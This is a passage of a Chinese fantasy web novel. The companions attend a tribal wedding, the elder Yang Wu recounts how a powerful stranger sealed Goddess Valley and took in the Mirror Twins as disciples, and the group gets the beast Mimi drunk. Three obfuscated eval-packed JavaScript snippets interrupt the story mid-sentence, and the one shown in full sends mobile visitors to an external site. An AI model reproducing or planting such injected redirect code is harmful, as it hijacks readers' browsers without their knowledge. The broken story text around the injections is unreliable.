云修泽并不否认的挑了下眉。 “谁说不是呢?” 成婚夜当晚,他们被分到了一个好位置,明艳的少女托着美酒菜肴流水一般齐齐舞动,在位置变换的间隙,就轻松的将其送到了每张桌子上。 多罗尔喝红了脸,醉醺醺的过来敬酒。 “你们,好人啊,靡靡怎么找到的?” 云修泽无奈的扶住这个喝了酒就变得自来熟的人,不知如何说才能不打击到他,最后还是沿用了老一套的说法。 “我们有缘啊!” 多罗尔哼哧一声,说道。 “有缘哥,我记住你们了!” 他举着酒又歪歪扭扭的离开,云修泽一言难尽的看着他的背影,怀疑的说道。 “没被打击疯吧......” 此时,整场婚礼已经被推迟了高潮,在众人的注目下,两位新人一次就射中了矿石,引起了在场所有人的欢呼,就连看起来很严肃的族长都露出了欣慰的笑容。 云修云忽然咋咋呼呼拍了云修泽一下,与此同时,天盛微说道。 “看!” 几人顺着她的目光看去,就听见旁边也传来阵阵惊呼,全场都安静了下来,目光一致的看向了石台上的靡靡。 靡靡竟然在此时主动吐出了一颗圆润的宝珠,颜色和被射中的矿石一致,内里流光溢彩,淡淡的光芒十分柔和。 它用爪子推了推,将宝珠推到了石台边的一个凹槽内,严丝合缝。 瑞兽主动献礼,大吉之兆。 新婚的夫妻两人相拥含泪,族人们顿时齐声高呼了一句几人听不懂的话,族长神情些许恍惚,但也露出了笑容。 云修泽他们并没有深入的感受过金氏尤族的习俗信仰,因此在满场之下冷静的尤为突出。 只有云修云愣了愣,好笑的说道。 “呦呵,不白来啊,还知道随个礼。” 云修泽心累的堵住了他的嘴。 * 夜半时分,云修泽忽然自噩梦中惊醒,满头的冷汗直流。 他倏然扭头去看天盛微几人,瞳孔还带着略微的颤抖,一、二、三......不对......青玉呢? 他掀开被子下了床,几步就走到了门口,一推门就感觉好像撞到了什么,随即就听哎呦一声。 是云修云倚着房门坐在那里,云修泽松了口气,问道。 “你怎么坐在这儿?” 云修云满脸无辜的揉了揉后脑勺。 “什么啊?我在值夜啊,你忘了吗?还没到时间换人呢,你找我做什么?” 值夜......对了,睡之前是这么安排的,云修泽捏了捏眉心,问道。 “那你怎么在外面?” 云修云坐了回来,嘟囔道。 “里面看不清。” “看不清什么?”云修泽跟着他坐下来,见他得意洋洋的朝他显摆了一下手中握着的簪子,目光一凝,问道。 “这是......你给思月做的那支?已经做的差不多了吗?” 云修云看着簪子的眼神宁静而温柔,不难想象他在透过簪子看谁。 “是啊,嗯......差不多等我们打完镜双子?应该能赶在她生辰之前给她。” 云修泽张了张嘴,扭过头去,半晌才说道。 “你有心了,其实本不用雕磨的这么精细。” 云修云疑惑,这可并不像是他哥会说出来的话。 “为什么这么说?” 云修泽笑道。 “你第一次做就做的这么精细的话,以后可怎么办啊,日久天长,每一次为她做首饰都要耗费一年左右的时间吗?只怕等你做完,样式早就不流行了。” 云修云翻了他哥一个白眼,他就知道听不到什么好话。 “没关系,我会尽量做她喜欢的样子,你也说了日久天长,我一定会越来越熟练。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我看得出来,但是她心中也没有别人不是吗?她现在身负唐家满门血仇,虽然从不在我们面前展露,但想必心中痛苦,此时无心情爱完全是正常的,我喜欢她也只是我自己的事情,所以我会等的,等到她愿意看向我,或者看向别人的那一刻。” 没想到他能说出这样的话,云修泽心中点点欣慰,摸了摸他的头,说道。 “父亲和母亲把你教的很好。” 云修云笑着像小狗一样蹭了蹭他的手。 “你也把我教的很好啊!” 云修泽愣了一下,放在他头上的手不自觉的抓了抓。 “......我吗?” 云修云佯装怒道。 “你可休想让我再说第二次!” 云修泽心情复杂的笑了一下,青玉啊青玉,心思通透,他一直不曾比及,直至此时,他才觉得自己真正脱离了噩梦带来的阴影。 月亮在兄弟二人的交谈中渐渐落下,当清晨的光出现,鸟儿鸣啼,昭示着新的一天已经开始。 多罗尔亲自来找他们,宿醉仍然影响着他,脸色算不上好看,他说。 “多谢你们的靡靡,跟我走吧,图堪要见你们。” 他们到的时候,族长还在和别人议事,他们在门外等候,过了一会儿里面才传出声音叫他们进去。 多罗尔没有跟进去,冲他们点了点头后就转身离开了这里。 族长看到他们,伸手道。 “坐。” 这里已经提前备好了椅子,看来至少要谈上一会儿。 云修泽心中虽然知道所谓何事,还是按照习惯先问了一嘴。 “不知族长叫我们来是有什么事要吩咐吗?” 族长开门见山的问道。 “你们问神女谷,是冲着镜双子来的吗?” 他知道? 几人心中微微讶异,得到所有地图的只有他们,不会有别人为此前来,本以为这些在此独成一派,不理外界声音纷扰的异族并不知晓此事,没想到一上来就被他点出。 云修泽直言不讳的承认道。 “族长心思敏锐,我等正是为此而来,只是苦于寻找不到,环琅谷究竟为何消失,还望族长告知。” 族长垂眸盘了盘腰间的精矿,叹道。 “也罢,此事,还要从我幼时说起。” 109. 雾讫八 神女谷在很久很久之前就已经在这里了,他们选择在这里生活也是因为它的存在,那时候他们将它视为圣地。 谷中的灵气不知道是不是因为地形的原因,十分的浓郁醇厚,哪怕并不修法的人走入其中也能感受到沁入心脾的舒适。 各种珍贵的灵草灵药数不胜数,许多开了智的灵兽也十分和谐的生活在那里,水草丰茂,天然就带着一种神圣的气息。 他们依赖于自然生活,虽然里面的东西都珍贵到放出去可得万金,用于身可延岁寿,但他们心存敬畏,并不会贪心的过度采撷,就这样,他们一代一代靠着这里繁衍生存,对它的叫法也逐渐由圣地转变为了神女谷。 族长名为阳乌,幼年丧母,一直跟着父亲生活,可是父亲忙于族中事务,很少能顾得上他,年幼还不能离开部落的他就常常漫无目的到处乱晃,故意让看护他的人找不到他,久而久之,再找不到他时,众人就不再紧张,只当做常事处理。 后来,逐渐有六洲人发现了这里,他们听不懂他们的话,不知道这里叫神女谷,便自顾自给它取了另一个名字——环琅谷。 阳乌也听不懂六洲人的话,但偶尔能见到他们从里面出来,每个人的表情都十分高兴,甚至不少人称得上是眉飞色舞,这让他对神女谷的好奇拉到了顶峰。 他去找父亲问,神女谷究竟是个什么样的地方,能不能带他去看看。 可父亲只是搪塞,说等他到了一定的年岁后自然会带他前去,阳乌不满这个答案,愤愤离去。 然而他本性执拗,显然不会就此放弃,于是他就精心策划了一场‘出逃’。 趁着夜深人静,阳乌悄悄藏进了要去神女谷采收草样土本队伍的草筐里。 他玩消失实在是太寻常了,总之不会离开部落,因此没人放在心上,他就这么瞒天过海,成功到了心心念念的神女谷。 阳乌的行动力很强,意识到已经到了地方后,当机立断就选了一个合适的时机,避开众人耳目跳出了草筐。 来的一路上他都在悄悄观察外面,已经将路线记在了心中,现在离开,就算之后找不到他们,也不用担心回不去。 神女谷没有辜负他这一番辛苦谋划,美得让他流连忘返,这里的每朵花好像都会说话,小鹿灵动,十分亲近他,他就好像进入了一场美好的幻境,那种心轻飘飘的感觉,至今都没有忘记。 等他回过神来,天上的星辰已经布满,亮晶晶的铺成了一条闪亮的银河,他猛然意识到时间已经过去了很久,他必须马上回家。 这个时间,族人肯定早就离开,他只能自己返回,于是借着朦胧的月光摸索着离开了神女谷。 他最后恋恋不舍的回头看了一眼,想着以后还有机会再来,却不想在回去的路上不幸摔伤了腿,此处隐蔽,深夜更是无人经过,他伤的很重,血流不止,就这么呆上一个晚上的话,肯定会丧命。 他自救不成,就开始大声呼救,但过了许久都没能看到半个人影。 就在他几乎绝望,认为自己就要丧命的时候,出现了一个年轻的男人。 他是个很奇怪的六洲人,探头下来,第一反应不是救他,也不是被他的惨状吓到,而是丝毫不掩饰的好奇。 阳乌狼狈又无可奈何,他们语言不通,他叽里咕噜说了一堆,连恳求带威胁的,那人一个字都听不懂。 他似乎是判断出阳乌一时半会儿死不了,就蹲在边上笑意盈盈的看他抓狂。 说救人,他袖手旁观,说不救呢,他又偏偏没有离开。 阳乌实在没有办法了,想起之前看到的六洲人求人办事,似乎要下跪磕头还要作揖,下跪磕头就不要想了,就算他愿意,现在的情况也不允许,于是他心不甘情不愿的冲男人作了两下揖。 男人愣了一下,然后就哈哈大笑起来,他终于不再作壁上观,几下将穿透他大腿的木刺拔了出去,止住血又喂他吃了个药丸,然后就心情愉悦的将他扛起,哼着曲儿重新带回了神女谷中。 阳乌现在只想回家,然而无论如何挣扎啃咬,都没能让男人的力道放松一点,渐渐的,他终于因为失血过多晕了过去。 等他再醒来时,已经是在神女谷中了,但他不知道具体在哪里,眼前只有一个已经搭建的差不多的木屋,他意识到,这个男人似乎打算在这里久留。 男人见他醒来,笑眯眯的给他端来了一碗热粥,阳乌的腿已经好了很多,面对奇怪的救命恩人,态度也温顺了许多。 他想知道究竟过了几天,就指着太阳一边说,一边模仿日升月落用手画圈。 男人认真猜测着他的意思,明白过来后,就用手给他比了个三。 三天......居然已经过去三天了! 阳乌登时着急不已,他从前从没有消失那么长时间,只怕父亲和族人都急疯了! 他焦急的拉着男人袖子,不断的比划着想要回去,男人不赞同的把他按下去,指了指他的腿。 似乎在说,你的伤还没好,不能到处乱跑。 他力气很大,阳乌反抗不了,想要表达自己可以回家修养但无从说起,再比划的时候,男人干脆就扭过头去不再看他,把阳乌气了个仰倒。 男人不会一直都在这里,他白天有不少时间都在谷中到处乱晃,阳乌见他不像是冲着什么来的,但没有深究他的目的,到了这个时候,男人古怪的性格已经让他对他的所作所为不再感到大惊小怪。 他试图在男人不在的时候自己离开,可不过十步就被无形的屏障拦住,摸索一圈,竟没有一丝缝隙。 挫败过后,阳乌很快恢复了精神头,这男人从来不跟他说话,他想学六洲话都无从下手,要不是听他发出过声音,恐怕都要以为是个哑巴。 阳乌尝试教他怎么说他们的话,他指着自己,一遍遍对他重复自己的名字。 男人一开始还不理解他又在作什么妖,后来察觉到他的意图后,就饶有兴致的跟他重复。 他每次叫对了,阳乌都一脸高兴的点头,男人也很高兴,每次他一点头,就掏出点吃的给他,过了好一阵子阳乌才意识不对劲,脸黑黑的拒绝了他的喂养。 他问男人叫什么,男人说了两个字,他皱着眉没有记住,他就不厌其烦的一遍遍教,直到阳乌顺利的喊出了先生二字。 他以为先生是他的名字,毫无负担的一直这么叫他。 他们十分迅速的对学习语言达成了共识,互相教导,一大一小倒是十分融洽。 先生很关心阳乌,给他做好吃的,带他看好玩儿的,对他的伤口很上心,也很有耐心的陪他站起再倒下。 从小到大第一次获得这种关爱的阳乌很快就别扭的喜欢上了他,默默在心中把他当做了哥哥。 随着学习的深入,他们逐渐可以进行一些简单的交流,阳乌再次向他表达了想要回家的意愿,没想到这次等来的仍是拒绝。 阳乌很不高兴,问他为什么,他理所当然说道。 “你要把所有的话教给我才能走,我也会教你的。” 阳乌很生气,就像是突然被告知先生对他所有的好都是有条件的一样,又气又难过的五天都没有理他。 他耍性子不教也不影响先生,他仍然每天到处乱晃,带一堆东西回来给他,自说自话也能说上很久。 阳乌慢慢明白了,不能拿正常人的要求来衡量这个人的性子,他觉得对阳乌好和囚禁阳乌让他教说话这两件事丝毫不冲突,甚至没有一点联系。 明白这一点,阳乌就彻底没脾气了,抱着早教完早回家的心态结束了这场单方面的冷战。 他已经离开的太久了,族人四处都在找他,阳乌在神女谷看见过好多次他们族人的身影,然而无论他怎么呼喊,他们都好像听不到似的充耳不闻。 等先生回来后,他问他究竟是为什么,他说是因为他在这里设下了结界,外面看不到这里也进不来,是为了在他离开的时候防止有别的什么东西伤到阳乌。 阳乌想让他撤掉,却无奈拗不过他,只能无力的看着族人一遍遍的路过他。 他在这里住了大约两个月的时间,腿已经基本全好了,当他再一次向先生提起想要回家时,他同意了,不过他说他要亲自将阳乌送回去。 阳乌想了想,觉得不亏,要他自己回去,说实话,他还有些发怵。 他们离开这个时,阳乌再一次回头,看了看住了那么久的小木屋,心中还有一些不舍,但想着先生住在这里,以后他还可以再来时就又轻松了许多,那时他没有想到,这一眼就真的成了最后。 阳乌回到部落中,在他印象里严肃沉默的父亲竟然抱着他泪流不止,惹得他也跟着一起委屈大哭。 在听说了事情的原委后,他父亲又是自责又是生气,他郑重的对先生表示了感谢,询问他该如何报答时,他摆了摆手,居然很自然的说道。 “不用感谢,阳乌教了我怎么说你们的话,已经报答了,我这次来是因为我很喜欢环琅谷,特意来告诉你们一声,以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542313|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它就属于我了。” 什么!!! 阳乌震惊的抬头,现场的气氛几乎瞬间陷入了冰点,阳乌的父亲扯了扯嘴角,问阳乌是不是没有好好教,以至于他连话都说不清楚。 可阳乌知道不是的,他学的很好,好到几乎可以媲美他们本族人,这话,恐怕并没有别的意思。 正如他所料,先生轻飘飘的说道。 “我知道我在说什么,你们也不用发表什么意见,反正我也不会听,我就是把孩子给你们送回来,顺便告诉你们那地方有主了而已。” 说起来,身为异族的他们那时候还没有那么排外,会变成云修泽他们看到的那样,追根溯源就是因为这个人。 他当时说完之后,不顾众人的怒火就要离开,阳乌紧张的拉住他,因为和他有些交情就大着胆子想要劝他。 先生明白他想说什么,但他不想听,拉开他的手后连只言片语都没留给他,头也不回的离开了这里。 他没有回神女谷,而是将除了他们以外的三十二部全都转了个遍,强硬的告知他们神女谷正式更名环琅,并且被他划为了己有。 剩下的三十二部可不像金氏尤族一样,因为恩情不敢动手,无论实力强弱全都怒不可遏,罕见的站在同一边誓要给他点颜色瞧瞧。 金氏尤族没有参战,在他们看来,各部擅长之处都有不同,那么多人一起围攻他,就算他是个实力不弱的修士,也绝无获胜的可能。 然而事情的发展再一次朝着他们没有想到的方向撒野狂奔。 先生太强了。 他并不与人硬碰硬,多用巧劲、柔劲,不伤人也不让人伤他,最终所有的人都倒在了地上,有晕过去的,也有实在累的站不起来的,只有先生还能在原地笑眯眯的发问。 “现在还有谁异议吗?” 金氏尤、吉勒塔和赫尔三族为首,此时另外两族的族长趴在地上,无力说话就用眼神刺向阳乌的父亲。 阳乌的父亲心已经彻底凉了,他明白,就算自己率全族围攻,结局也不会有分毫改变,但他身为世代生活在这里的一份子,此时站出来才是本分,之后才不会被他们明里暗里的戳脊梁骨。 他上前一步试图争辩,先生头也不回的朝他们的方向一指,他就撞上了一道无形的屏障,阳乌很熟悉这个,他就是被这个困了两个月。 先生温声说道。 “我不想打你们,你们还是闭嘴的好。” 屏障十分坚固,金氏尤族的人无论用什么方法都无法破开,直到先生的身影彻底消失在他们的视线中,屏障才如透明的泡沫一般随他消散。 原来他非要学他们的话就是为了这个,阳乌目送着他离开,心中也说不出是什么滋味儿,只是觉得的确是他能干出来的事情。 众人元气大伤,商量着休整一夜,第二日再去找他,就算打不过,但依照着他们多年对这里地形的了解,也绝不会像今天一样任他摆布。 然而第二天,神女谷就消失了,取而代之的就是一片广袤无边的森林。 听到这里,众人一愣,云修泽问道。 “可就是现在的森林?” 族长,也就是阳乌点了点头。 “第二天,我们去找他,却见到原来神女谷在的位置已经变成了森林,大家都傻了眼,那么多人分散各处找他,但连一根头发都没有见到,有人气急了想要砍树,却就此消失没了踪影,这就是我为什么不让你们动树的原因。” 云修泽眼底的思索一闪而过,试探道。 “他们真的就消失的无影无踪了吗?连您也不知道他们去了何处?” 阳乌看了他们一眼,淡淡道。 “这不是你们该问的。” 云修泽挑了挑眉,没再说话。 总之,在阳乌的回忆中,他们并没有放弃寻找先生,只是寒来暑往,那片森林一丝变化都没有,让大多数人生了畏惧之心。 再加上森林中丰饶之盛与神女谷不遑多让,唯一说得上大的区别就是灵兽变得稀少,而普通可供狩猎的动物变更多,这个变化其实更有利于他们生活,人们也就逐渐歇了寻找他的心思。 只有阳乌,只有阳乌无论如何还想再见他一面,但他私自跑出去已经险些丧命,他父亲亲近他的同时也将他看管的更严,更是勒令他不准再接近那片森林。 他被困在族中,像之前在神女谷的两个月一样,日复一日的煎熬。 直到有一天,先生再次出现了。 110. 雾讫九 这次先生不是一个人来的,他怀中还有两个尚在襁褓中的奶娃娃,闭着眼沉沉的睡着,模样玉雪可爱,眉眼几乎一模一样,不难看出是一对双生子。 先生很高兴,抱着他们第一个来到了金氏尤族,说道。 “我有弟子了,你们看!” 阳乌的父亲被他突然的造访吓了一跳,闻言下意识就去看他怀中的孩子,匆匆一眼,只来得及辨认孩子并非他们三十三部的子嗣。 一般来说,哪有刚出生就拜师的?他很怀疑这两个孩子是不是被先生强掳而来。 他犹豫着想要开口,先生却压根儿没打算听他说话,抱着孩子扭头就走。 听闻他来,匆匆赶到的阳乌也只来得及看到他的背影。 如上一次一样,先生又一次走遍了所有的部落,强行将自己有了弟子的喜悦与他们分享。 每个部落的心情都很复杂,不知道为什么要对这种事情感到一回生二回熟。 阳乌想见他,他想问问他到底为什么这么做,如果错过这一次,还不知道要等到什么时候。 于是他给他父亲找了点儿事,让他忙的无暇顾及自己,同时降低了看守他的族人的警惕心,果断的拿萃了迷药的骨针扎了他们一下,几个呼吸间就将他们放倒。 他回到族中的这些日子,也不是无所事事的度过的。 阳乌远远的追上了先生,他并没有出声叫住他,他想知道森林和神女谷的秘密,他想将见面的主动权掌握在自己手中。 他知道先生很强,跟的近了一定会被他发现,于是就保持着只能看到他人影的距离。 他跟着先生进入了森林,见先生将食指和拇指抵在唇边吹了个长哨,随即就有金色的大猫赶来,他摸了摸大猫的头,声音忽然就在阳乌的耳边响起。 “跟到这里就可以了。” 阳乌本来正聚精会神的看着他的动作,被这近在咫尺的声音骇了一跳,他紧张的向先生的方向望去,见他还站在那里,只有声音莫名出现在耳边。 先生回头,阳乌很确定他看的是他,先生伸出手指再一次轻轻一点,阳乌在刹那间明白过来他要做什么,拒绝的话脱口而出,却连半个字都没能完整的说完。 随着先生的动作,阳乌的眼神瞬间涣散,软软的倒下,晕了过去。 再醒来,就已经回到了族中自己的房间。 阳乌久久凝望着屋顶,心中掺杂着委屈和不甘。 他觉得自己就像是被他一时兴起拎回去饲养的小兽,养够了,就不顾小兽的意愿随意弃养。 这个窝囊的念头在阳乌心中徘徊了一阵,然后就被他咬咬牙撕了个粉碎。 年幼的他通过这件事明白了一个道理,想要握在手中的事情一定要非常非常努力才有可能实现。 之后的数年,他顺利的成为了少族长,得知了那金色大猫的名字和习性,无数次出入那片森林,除了古怪的树,再没有发现一丝别的异样。 直到他继任族长前最后的一个晚上,他喝醉了,竟然再次避开众人的耳目,独自一人来到了森林中。 他不知道自己想来做什么,迷迷糊糊中似乎一直在大吵大闹,也许骂了先生不少的话。 他已经知道了,先生不是他的名字,他哄骗自己叫了他那么多年的老师,却缩头乌龟似的连个面都不敢露。 也许是他命大,这样吵闹都没在森林中遇到危险,反而找到了一个恰巧可以容纳他的树洞,安稳的睡了起来。 夜深人静时,他似乎在梦中看到了大猫的身影来到了他的树洞前,好像发出了点声音,但他没听清。 阳乌挣扎着睁开了眼,发现哪里有什么大猫,全都是他做梦梦到的幻象。 他自嘲一笑,从树洞中出来,却不知道什么时候起了风,意识到后,立刻就让他惊出了一身的冷汗。 森林的古怪之处就在于四季温暖如春,风霜雨雪的痕迹半点都不会出现在这里,可现在他却感受到了风。 阳乌试探着走了几步就控制不住想要拔腿狂奔,周围的花草树木好像都活了过来,无数双视线投在他的身上,恍惚中还让他听到了细微的尖笑。 身后明明空无一物,却好像有什么庞然巨物在不停的咆哮着追赶他。 阳乌捂住嘴控制自己不要惊叫出声,慌乱中跑到了河边,就在那无形的怪物要将他笼罩的时候,远处忽然传来了一阵古怪的曲调。 它的出现似乎成了阳乌的保护罩,刚才令人不寒而栗的恐惧如潮水般退下。 阳乌胸口的起伏还未恢复平稳,心中隐隐有种预感,促使他追着曲调的来源寻去。 不是他以为的那个人,是一只看起来只到他腰间的精怪。 它模样怪异,皮肤如同龟裂的树纹,口中衔着一片树叶,正吹着那古怪的曲子。 它一边吹一边摇头晃脑的向前走,身后跟着各式各样的小动物,排成一排,随着它的律动一起向前走。 这场景可奇怪极了,阳乌掐了自己一把,结果只疼的自己呲牙咧嘴。 不是在做梦?那是我还没醒酒? 眼看着它们就要消失在眼前,阳乌顾不得太多,猫着腰跟了上去。 他必须把全部的注意力都放在它们身上,稍有不慎就会跟丢。 不知道跟了多久,某一瞬间,他忽然晃了个神,精怪凭空消失,而面前正是阔别已久的神女谷。 这里一如既往的美丽,生机旺盛,似乎还添了不少别的东西,看来他在这里住的不错。 阳乌的心跳陡然加快,喉结滚动,想喊先生让他出来,却不愿再提先生二字,犹豫半晌,决定先去找找当年住过的小木屋。 然而还没等他迈出一步,就突然听到身后有人轻笑出声。 那声音是从高处传来,阳乌骤然回头想要看清是谁,却再一次不受控制的晕倒在地上。 不甘心!阳乌的心瞬间就如同火焰炙烤,烧的他寸寸煎熬,面对同样的结果,他仍然无力抵抗。 再次醒来,已经到了森林的外围。 阳乌颓败的在原地坐了一会儿,整理好心绪,拖着疲惫的身体往部落走。 没关系,不是毫无进展,总有一天,总有一天...... 他回到部落,看到篝火不过刚刚熄灭,他拉过一个人问他离开了多久,那人说,一个时辰。 一个时辰......阳乌愣了愣,虽然回来的路上见到漫天星斗已经隐约有了预感,但没想到才过去了一个时辰,他只觉自己经历了漫长的一夜。 那个声音不是先生,若说是他弟子,又偏偏雌雄莫辨的很,他曾一度感到困惑,直到后来偶然听到一男一女同时开口,才恍然明白过来那声音的主人就是先生的弟子,他们是对龙凤子。 他们常年跟随先生左右,就连赶人离开的手段都学了个十成十。 阳乌自嘲一笑,这么多年,不是没人像他一样对森林充满探索欲,但只有他,一而再,再而三的平安离开。 阳乌想了许久,把知道的全都埋进了心底,直到云修泽五人的到来。 他深深看着这几个人,他想,如果是他们,也许能破开这场迷雾。 他的话里透露的信息可就太多了,云修泽在心中将事情慢慢的捋清。 也就是说,那个所谓的‘先生’就是镜双子的师父,也是他让环琅谷变成了现在的森林,应该是用了什么特殊的阵法或者结界,那么钥匙就是......靡靡兽! 族长的回忆中,两次出现靡靡,全都在关键的节点,云修泽不信那是巧合。 至于镜双子,云修泽没想到竟然是尚在襁褓就被动拜了师,一般来说出现这种情况,要么是有什么原因让他的父母必须在这个时候就把他们送去拜师,要么就是孤儿...... 阳乌说完,给了他们一点时间消化,很有耐心的等着他们,过了一会儿,云修泽问道。 “您从那之后再也没见过他们吗?无论是先生,还是镜双子。” 阳乌说道:“没错。” “那您为何如此肯定我们是为镜双子而来?” 于是阳乌向他们说起了另一件事。 日月更替,唯有森林常年不变,生活在这里的众人早已习惯,可是有一天,森林的上空异变陡生,惊雷四起,地动山摇,鸟兽逃散。 所有的树突然循环枯荣,似乎谷中有人正在激烈的斗法,以至于连这个表象都要维持不住。 阳乌的心被紧紧牵动,他既担心这里被彻底毁掉,又牵挂着先生的安危,可是又矛盾的觉得是他活该。 这场地动惊动了所有人,他们围在森林周围不停的祈祷,不知过了多久,这场变动才彻底消失,森林恢复了原样,但是没有一个人影从森林中出现。 阳乌大着胆子进入了森林,却根本找不到任何有用的东西,就连靡靡,无论他拿了多少果子,无论他如何呼唤,都好像根本不存在似的,没有一点希望。 再之后,就是镜双子的声名鹊起。 他曾经找了个机会去了一趟计都,他想要在六洲中打探一下先生到底是什么人,最好还能知道他在哪里。 可是他没找到,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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多罗尔得知消息来送他们离开,在门口恋恋不舍的试图摸一摸靡靡,被它矫健的躲开后,整个人都变得灰败灰败的,连跟他们告别的力气都丢了个一干二净。 云修云好笑道。 “这哪是冲咱们来的啊?” 五个人告别了金氏尤族,和靡靡一起朝着森林走去,这段姑且可以说是顺路,到了森林就要分道扬镳,靡靡回头看了看他们,权当离开前打的招呼。 但他们哪能让活生生的钥匙跑了? 几人不怀好意的对视一眼,唰唰唰——掏出了好几筐果子。 靡靡的眼神瞬间就亮了,也不惦记着要走了,快乐的跟着他们一路走一路吃。 云修泽:计划通? 他们一边带着靡靡往森林深处走去,一边不断的给它抛果子,云修泽循循善诱的商量道。 “靡靡,你看,我们这里不止有这些,还有很多你没见过的香果。” 他招手示意,天盛微就一种一种的往外拿不同的果子,无一例外都是味道很浓郁的类型。 看着靡靡的眼神亮了又亮,云修泽觉得美食诱惑成功的可能性又大了不少。 “你看,喜欢吗?这样,都给你吃,只要你叫一声,怎么样?” 靡靡一下停住了,沉迷的眼神消失,犹豫的动了动前爪,似乎在考虑要不要离开。 几人稳住了自己,迫切的态度在这个时候只会吓到它,天盛微有条不紊的继续往外拿着果子,种类越来越丰盛。 这都要归功于她富有的姑姑明水心,感谢姑姑,担心她在外面吃苦,无论什么东西,只要有用上的可能就都给她塞了一堆,现在正是时候! 靡靡的被果子的美色迷的越来越不坚定,垂涎的在原地打转,但始终没有点头答应。 直到最后云修泽拿出了一颗不知名的果子才彻底放弃底线,疯狂点头。 这果子几乎没什么香气,但胜在圆润饱满,内含纯净的灵气。 得到想要的答案,云修泽勾起了嘴角,一把将果子抛给它,说道。 “那就一言为定!” 靡靡跳起来一口将果子吞下,然后‘轰——’的一声,摔晕在了地上。 围着被它砸出来的深坑,四人默默看向了罪魁祸首。 云修泽:“......我没下毒......真的没有。” 111. 雾讫十 金色的大猫一动不动,五个人排排蹲在旁边,云修云率先发出疑问。 “脚滑摔晕的?不至于吧?我看它挺聪明的。” “肯定不至于,应该是老大那颗果子的问题。”唐思月双手撑着下巴道。 天盛微费解的问道。 “你究竟喂的什么?” 云修泽也很无辜,他只是随意拿了一颗灵力比较充沛的果子。 “我不知道啊,是先生当初在周天山上塞给我的,一直忘了没吃,看到靡靡才想起来。” 天盛微心中顿时有了不好的预感,她刚才没仔细看他拿的什么,此时倒吸一口凉气,问他还有没有。 “有啊。”云修泽掏了掏,又掏出一颗一模一样的来,问道。 “你认得吗?” 天盛微在周天山上待了许多年,如何能不认得,她沉重的捂住自己的脸,闷声道。 “这是酒果,师傅特意养的,馋酒喝的时候用来过过瘾,非常的......非常的厉害。” 四人不可思议的看着云修泽手上‘人畜无害’的果子,一起沉默了,云修泽尴尬的问道。 “啊......这样吗?比樊芝酒还厉害吗?” 天盛微捂着脸点了点头。 “这下,靡靡至少要睡上一天了。” 四人:“......” 唐思月同情的摸了摸靡靡的尾巴毛。 “倒霉孩子。” 云修云也怜爱的看着它。 “这就是贪嘴的后果,谁叫你乱吃怪叔叔给的东西。” 砰——! “嗷——”云修云捂着后脑勺欲哭无泪。 唐思月笑他,他就小声说。 “以后再说这种话,我就离他远点说!” 唐思月敬佩的拍了拍他的肩膀。 “好志气!” 看着醉的不知今夕何夕的靡靡,云修泽捏着下巴思量了一会儿,忽然说道。 “我总感觉......我们好像忘了点儿什么?” 他这么说,几人也不玩闹了,跟他一起想还有什么纰漏,在某一个瞬间,他们就如同忽然被点醒,醍醐灌顶道。 唐思月:“野猪!” 云修云:“绳子!” 天盛微:“赫尔族!” 云修泽:“......完了,饼估计早就吃没了......” 他们脑中瞬间就浮现了几个饿的面黄肌瘦的人被困在野猪面前瑟瑟发抖的场景,罪恶感立马就涌了上来。 行愿默默掏出绳子,可靠的说道。 “两天前就收回来了。” 此刻的他,脑后如同亮起了普世的光圈,高大的形象巍峨升起,渡化了几人心中岌岌可危的罪恶。 然后他就收获了一大一小两个激动的云姓挂件。 行愿:“......下来。” 既然靡靡还要睡上一阵,几人干脆就在它旁边收拾了收拾,坐下来安心等着。 云修泽躺下拔了根草叼在嘴上,看着几乎静止的树冠默默在脑中一遍遍回想阳乌族长的话。 天盛微坐到他身边,轻轻用手遮住了他的双眼。 “别想太多。” 云修泽握住她覆在眼睛上的手,半晌说道。 “现在出现了一个难以预料的变化,除了镜双子,我们可能还会遇到他们的师父,他一定是个强者,我有点担心。” 这的确是个潜在的危险,但是危险早已如影随形,天盛微垂眸描摹着他的脸颊,低声说道。 “他们散布地图,定然是有什么目的,无论如何,有目的就会有余地。” 唐思月也笑着道。 “是啊,他们应该还没闲到绕那么大一圈把人骗过来杀啊。” 云修云很乐观。 “就是!就算他们师父在又怎么样!除非遇到海上那种乌泱泱的群攻,不然以咱们的实力,不敌也至少能逃跑啊!” 云修泽笑了笑。 “族长说的那只精怪你们怎么看?” 天盛微:“不排除是幻觉。” 他描述的当时的状态很奇怪,就像堕入了一场怪诞的梦,变化莫测,光怪陆离,但偏偏又是真的进到了环琅谷。 唐思月思忖着说道。 “族长不是说,那么多探访森林的人里,只有他一直是安全的吗?可能是先生对他的看顾,反过来说,森林就一定有危险,那种似梦非梦的感觉,的确有可能是幻境。” 幻境...... 云修泽立马想到了爻池仙,他当时被迫回忆了一遍心中不堪的过往,放大了心魔,若不是意志足够坚定,心态也有了改变的话,恐怕就真的要狠狠栽上一把。 不只是他,其他几个人也想到了爻池仙,唐思月脸色不大好看,云修云挠了挠头,说道。 “也不一定是幻境吧......” 天盛微说道。 “幻境也分种类,不能掉以轻心。” 云修泽一下坐起来,说道。 